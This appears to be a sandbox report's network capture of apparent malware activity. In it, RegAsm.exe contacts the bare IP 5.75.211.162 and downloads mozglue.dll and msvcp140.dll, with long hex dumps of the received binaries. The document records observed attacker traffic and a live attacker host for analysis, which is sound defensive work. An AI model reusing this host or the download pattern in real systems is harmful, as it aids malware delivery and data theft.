2024-09-26 17:06:05 UTC	16384	IN	Data Raw: 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 Data Ascii: 8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-09-26 17:06:05 UTC	16384	IN	Data Raw: 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	59757	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:07 UTC	196	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:08 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:08 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:06:08 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:06:08 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d 3c Data Ascii: EPzEPWxP1`PHP$,FM1R'^_[]00L9tc<
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: 06 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 03 b9 59 17 b7 d1 89 f8 f7 e1 89 d1 c1 e9 0d 89 c8 ba cd cc cc cc f7 e2 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 06 88 4c 18 02 89 f8 c1 e8 05 b9 c5 5a 7c 0a f7 e1 89 d1 c1 e9 07 bb ff 00 00 00 89 c8 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c1 80 c9 30 ba 83 de 1b 43 89 f8 f7 e2 8b 06 8b 7d 08 88 4c 38 01 c1 ea 12 89 d0 21 d8 69 c0 cd 00 00 00 c1 e8 0a 83 e0 fe 8d 04 80 28 c2 80 ca 30 89 f1 8b 06 8b 75 08 88 14 06 8b 39 8d 47 07 89 01 83 c7 0d b9 cd cc cc cc 8b 75 ec 89 f0 f7 e1 89 d1 c1 e9 03 8d 04 09 8d 04 80 89 f3 29 c3 80 cb 30 89 c8 ba cd cc cc cc f7 e2 8b 45 08 88 1c 38 89 c3 c1 ea 02 83 e2 fe 8d 04 92 29 c1 80 c9 30 8b 7d 0c 8b 07 88 4c 18 05 b9 Data Ascii: )0LY)0LZ\|!i(0C}L8!i(0u9Gu)0E8)0}L
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: 83 c4 04 89 45 f0 8b 06 8b 4e 04 85 c9 0f 8e b3 00 00 00 31 c9 8d 14 08 83 c2 0c f2 0f 10 42 f4 8b 5d f0 f2 0f 11 04 0b 8b 7a fc c7 42 fc 00 00 00 00 89 7c 0b 08 8b 1e 8b 7e 04 8d 3c 7f 8d 3c bb 83 c1 0c 39 fa 72 cd e9 81 00 00 00 8b 06 8d 0c 49 8d 0c 88 89 4d f0 31 d2 8d 1c 10 83 c3 0c f2 0f 10 43 f4 f2 0f 11 04 17 8b 4b fc c7 43 fc 00 00 00 00 89 4c 17 08 83 c2 0c 3b 5d f0 72 da 8b 46 04 85 c0 0f 8e 02 ff ff ff 8b 1e 8d 04 40 8d 04 83 89 45 f0 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 ec 52 01 00 83 c4 04 83 c3 0c 3b 5d f0 0f 83 d4 fe ff ff eb db 31 c0 40 89 45 ec e9 27 ff ff ff 8d 0c 49 8d 3c 88 89 c3 39 fb 73 20 8b 43 08 c7 43 08 00 00 00 00 85 c0 74 09 50 e8 b0 52 01 00 83 c4 04 83 c3 0c 39 fb 72 e2 8b 1e 53 e8 9e 52 01 00 83 c4 04 8b 45 f0 89 Data Ascii: EN1B]zB\|~<<9rIM1CKCL;]rF@ECCtPR;]1@E'I<9s CCtPR9rSRE
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: 42 fd ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 1b 89 c8 e9 b3 fe ff ff 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 07 89 c8 e9 c2 fe ff ff ff 15 b0 bf 08 10 cc cc cc cc 55 89 e5 57 56 89 ce 8b 79 20 85 ff 74 28 f0 ff 4f 38 75 22 8b 4f 14 83 f9 10 73 5f c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 57 e8 2d 13 01 00 83 c4 04 8b 7e 18 c7 46 18 00 00 00 00 85 ff 74 1c 8b 07 85 c0 74 0d 50 ff 15 04 be 08 10 c7 07 00 00 00 00 57 e8 03 13 01 00 83 c4 04 8b 46 08 85 c0 75 2f 8b 46 04 85 c0 74 09 50 e8 ec 12 01 00 83 c4 04 5e 5f 5d c3 8b 07 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 76 20 50 e8 cf 12 01 00 83 c4 04 eb 86 c7 05 f4 f8 08 10 1a 2b 08 10 cc b9 18 00 00 00 e8 0d 80 02 00 8b 48 fc 83 c0 fc 29 c8 83 f8 20 73 04 89 c8 eb cf ff 15 b0 bf 08 10 cc cc cc cc cc cc cc Data Ascii: BH) sH) sUWVy t(O8u"Os_GGW-~FttPWFu/FtP^_]v P+H) s
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: 00 00 85 db 0f 85 ad 07 00 00 c7 44 24 30 00 00 00 00 c7 44 24 34 07 00 00 00 66 c7 44 24 20 00 00 57 e8 e1 37 06 00 83 c4 04 89 c6 83 f8 07 8b 5c 24 04 0f 87 4b 03 00 00 8d 44 24 20 89 70 10 89 f1 01 f1 51 57 50 e8 fe 37 06 00 83 c4 0c 66 c7 44 74 20 00 00 8b 44 24 30 8b 4c 24 34 89 ca 29 c2 83 fa 11 0f 82 fd 05 00 00 8d 50 11 89 54 24 30 83 f9 08 72 06 8b 4c 24 20 eb 04 8d 4c 24 20 0f b7 15 de 4d 08 10 66 89 54 41 20 0f 10 05 ce 4d 08 10 0f 11 44 41 10 0f 10 05 be 4d 08 10 0f 11 04 41 66 c7 44 41 22 00 00 bf 10 00 00 00 57 e8 60 3e 00 00 83 c4 04 89 c6 8b 45 0c f2 0f 10 40 20 f2 0f 11 06 f2 0f 10 40 28 f2 0f 11 46 08 83 7c 24 34 08 72 06 8b 44 24 20 eb 04 8d 44 24 20 57 56 6a 03 6a 00 50 53 ff 15 2c e3 08 10 89 c3 56 e8 9e d2 00 00 83 c4 04 8b 4c 24 34 Data Ascii: D$0D$4fD$ W7\$KD$ pQWP7fDt D$0L$4)PT$0rL$ L$ MfTA MDAMAfDA"W`>E@ @(F\|$4rD$ D$ WVjjPS,VL$4
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: 8b b8 08 00 00 00 85 ff 0f 84 0b 06 00 00 83 fb 08 0f 86 cc 02 00 00 83 c3 0f 89 d8 83 e0 f0 89 44 24 1c c1 eb 04 c1 e3 05 8d 34 1f 83 c6 50 80 7f 3c 00 89 7c 24 10 89 5c 24 18 74 0a 83 7f 40 00 0f 84 29 06 00 00 8d 47 0c 89 44 24 20 50 ff 15 30 be 08 10 8b 16 85 d2 0f 84 38 01 00 00 83 7a 08 00 0f 84 2e 01 00 00 8b 4a 04 8b 74 8a 0c 85 f6 0f 84 eb 01 00 00 8b 5f 40 85 db 75 60 0f bc fe 89 cb c1 e3 05 09 fb 0f bb fe 8b 7c 24 10 8b 44 24 18 0f af 5c 07 58 8b 44 07 68 89 74 8a 0c 01 d0 01 c3 83 42 08 ff 85 db 0f 84 a2 05 00 00 8b 44 24 1c 01 47 2c ff 74 24 20 ff 15 b0 be 08 10 85 db 0f 84 93 05 00 00 8b 4c 24 60 31 e9 e8 51 e7 01 00 89 d8 8d 65 f4 5e 5f 5b 5d c3 89 4c 24 04 89 54 24 14 8b 0b 8b 7b 04 89 3c 24 0f a4 cf 17 89 c8 c1 e0 17 31 c8 8b 53 0c 33 3c Data Ascii: D$4P<\|$\$t@)GD$ P08z.Jt_@u`\|$D$\XDhtBD$G,t$ L$`1Qe^_[]L$T${<$1S3<
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: 83 e1 fe 83 e0 01 09 c8 89 42 04 89 13 8d 44 24 58 e9 75 ff ff ff c7 44 24 3c 00 00 00 00 8b 5c 24 04 e9 a5 fe ff ff 31 d2 a8 10 0f 44 54 24 18 31 c9 39 f2 0f 97 c0 0f 82 e1 fe ff ff 88 c1 e9 d5 fe ff ff b0 01 e9 ec fd ff ff 8b 46 04 83 f8 01 0f 87 13 01 00 00 89 f2 8b 06 31 c9 85 c0 8b 74 24 1c 0f 84 39 04 00 00 8b 48 04 83 e1 fe 89 0a 89 d1 83 e1 fe 89 54 24 04 8b 50 04 83 e2 01 09 ca 89 50 04 8b 54 24 04 8b 52 04 83 e2 01 09 ca 89 50 04 8b 4c 24 04 80 49 04 01 83 60 04 01 89 c1 e9 fb 03 00 00 c7 44 24 28 00 00 00 00 e9 f9 fd ff ff 8d 74 24 54 89 f1 e8 37 0b fe ff 8b 1e e9 47 ff ff ff 83 e3 fe 89 58 04 89 d6 8b 1a 85 db 0f 84 fb 01 00 00 8b 43 04 83 e0 fe 89 06 89 f0 83 e0 fe 8b 4b 04 83 e1 01 09 c1 89 4b 04 8b 4e 04 89 c8 83 e0 fe 0f 84 c0 01 00 00 8b Data Ascii: BD$XuD$<\$1DT$19F1t$9HT$PPT$RPL$I`D$(t$T7GXCKKN
2024-09-26 17:06:08 UTC	16384	IN	Data Raw: b9 00 00 00 00 0f 44 4c 24 04 31 db 39 c1 0f 97 c1 72 d1 88 cb 8b 50 04 83 e2 fe eb cc 83 e3 fe 89 1a 89 d6 83 e6 fe 8b 18 8b 48 04 83 e1 01 09 f1 89 48 04 85 db 0f 84 8d 0a 00 00 80 63 04 fe 8b 74 24 14 39 16 75 07 89 06 e9 69 ff ff ff 83 e0 fe 8b 56 04 83 e2 01 8d 0c 02 89 4e 04 85 c0 0f 84 25 0a 00 00 8b 08 83 e1 fe 09 d1 89 4e 04 89 30 8b 4e 04 83 e1 01 8b 50 04 83 e2 fe 09 ca 89 50 04 80 4e 04 01 85 ff 0f 84 1f 0a 00 00 39 37 0f 84 a0 05 00 00 e9 e0 05 00 00 8b 4c 24 1c 8b 19 89 d9 ba 00 f0 ff ff 21 d1 8b 70 08 21 d6 31 d2 39 f1 0f 97 c2 b9 ff ff ff ff 0f 42 d1 85 d2 0f 85 59 05 00 00 e9 c0 05 00 00 89 c1 85 d2 0f 85 c2 fe ff ff 8b 54 24 04 c7 02 00 00 00 00 8b 4c 24 08 c7 44 b1 14 01 00 00 00 83 fb 01 0f 84 17 02 00 00 89 10 8b 54 24 20 8b 44 24 48 Data Ascii: DL$19rPHHct$9uiVN%N0NPPN97L$!p!19BYT$L$DT$ D$H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	59758	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:09 UTC	197	OUT	GET /msvcp140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:10 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:09 GMT Content-Type: application/octet-stream Content-Length: 450024 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:06:09 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:06:10 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: 72 00 2d 00 62 00 61 00 00 00 68 00 72 00 2d 00 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d Data Ascii: r-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnm
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: 00 00 04 00 00 00 04 8b 00 10 18 8b 00 10 78 8a 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff Data Ascii: x{\|L@DX}0}}M@4}0}}4M@tXM}0}}XM
2024-09-26 17:06:10 UTC	16384	IN	Data Raw: d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 